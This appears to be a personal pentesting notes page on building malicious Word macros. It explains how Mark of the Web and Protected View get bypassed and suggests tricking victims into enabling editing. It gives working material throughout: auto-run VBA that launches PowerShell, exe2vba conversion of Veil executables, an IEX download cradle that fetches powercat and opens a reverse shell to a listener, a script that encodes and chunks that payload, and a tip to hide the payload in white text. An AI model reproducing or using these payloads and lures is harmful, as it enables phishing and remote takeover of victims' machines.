Skip to content

Macros

Macros in Visual Basic for Applications (VBA) provide full access to ActiveX objects and the Windows Script Host, similar to JavaScript in HTML applications.

Keep in mind that older client-side attack vectors, such as Dynamic Data Exchange (DDE) and Object Linking and Embedding (OLE), no longer work reliably without significant system modifications.

If we successfully manage to deliver the Office document to our target via email or download link, the file will be tagged with the Mark of the Web (MOTW). Office documents tagged with MOTW will open in Protected View, which disables all editing and modification settings in the document and blocks the execution of macros or embedded objects. When the victim opens the MOTW-tagged document, Office will show a warning with the option to Enable Editing.

  • ZIP (baseline): Since 2022, Windows propagates MOTW to extracted files.
  • 7-Zip (.7z): Historically effective, now inconsistent:
    • Explorer extraction → MOTW preserved
    • Older 7-Zip versions → sometimes stripped
  • ISO / IMG (disk images): Used to be effective, now mostly mitigated:
    • Mounted ISO inherits MOTW
    • Mount ISO → files appear as local disk - No MOTW propagation

Administrators can also enforce these various protections at the AD Group Policy level, preventing domain-attached machines from exiting the Protected View, or running macros at all. These kinds of protections can't be overridden by individual users.

When the victim enables editing, the protected view is disabled. Therefore, the most basic way to overcome this limitation is to convince the target to click the Enable Editing button by, for example, blurring the rest of the document and instructing them to click the button to "unlock" it.

We could also rely on other macro-enabled Microsoft Office programs that lack Protected View, like Microsoft Publisher, but this is less frequently installed.

Finally, we must consider Microsoft's announcement that discusses blocking macros by default. This change affects Access, Excel, PowerPoint, Visio, and Word. Microsoft implemented this in most Office versions such as Office 2021 all the way back to Office 2013.

MOTW is not added to files on FAT32-formatted devices.

How to

Create a blank Word document with mymacro as the file name and save it in the .doc format. This is important because the newer .docx file type cannot save macros without attaching a containing template. This means that we can run macros within .docx files but we can't embed or save the macro in the document. In other words, the macro is not persistent. Alternatively, we could also use the .docm file type for our embedded macro.

After we save the document, we can begin creating our first macro. To get to the macro menu, we'll click on the View tab from the menu bar where we will find and click the Macros element:

1. Craft an executable

Use for instance veil.

Some examples:

Macro automatically executing powershell.exe after opening the Document

Sub AutoOpen()
  MyMacro
End Sub

Sub Document_Open()
  MyMacro
End Sub

Sub MyMacro()
  CreateObject("Wscript.Shell").Run "powershell"
End Sub

2. Convert it to a VisualBasic script - macro code. Documentation about VBA

2.1. Method 1:

1
2
3
4
5
6
7
8
9
locate exe2vba
# Result: /usr/share/metasploit-framework/tools/exploit/exe2vba.rb

# Go to the folder
cd /usr/share/metasploit-framework/tools/exploit/

# Create the malicious vba script
./exe2vba.rb <first-parameter> path/to/nameOfOutputFile.vba
# first parameter: malicious executable file that will be converted to macro code. Take the path to the .exe file provided by veil

2.2. Method 2: Project reverse

Another interesting script is the VBA Macro (powershell base64) available from my reverse project repo, which makes a simple connection with:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",9001)

Just go to Reverse project repo, and select the VBA macro.

2.3. Method 3: downloading powercat and establishing the connection

If we want to have a macro with a more sophisticated payload that:

  1. Downloads powercat.ps1
  2. Initiates a connection with powercat.ps1

We can define the initial payload like this:

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell

Then, use the following Python script to split the base64-encoded string into smaller chunks of 50 characters and concatenate them into the Str variable.

bash << 'EOF'
payload=$(echo -n "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.201/powercat.ps1');powercat -c 192.168.45.201 -p 4444 -e powershell" \
| iconv -t UTF-16LE \
| base64 -w 0)

str="powershell.exe -nop -w hidden -enc $payload"

n=50
len=${#str}

for (( i=0; i<len; i+=n )); do
    echo "str = str + \"${str:i:n}\""
done
EOF

Same thing in python would be:

# conver the payload
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
# to base64


str = "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
    print("Str = Str + " + '"' + str[i:i+n] + '"')

In any case, after the macro is executed, we receive a GET request for the PowerCat script in our Python3 web server and an incoming reverse shell in our Netcat listener.

3. Create an MS Word document

4. Open a new macro and embed macro code

5. Copy the payload as text in the word document. If it's too long, disguise it (set font color to white).

6. Convince the victim to have macros enabled.

7. Start a listener and wait for the victim to connect.

Last update: 2025-12-16
Created: December 16, 2025 15:39:15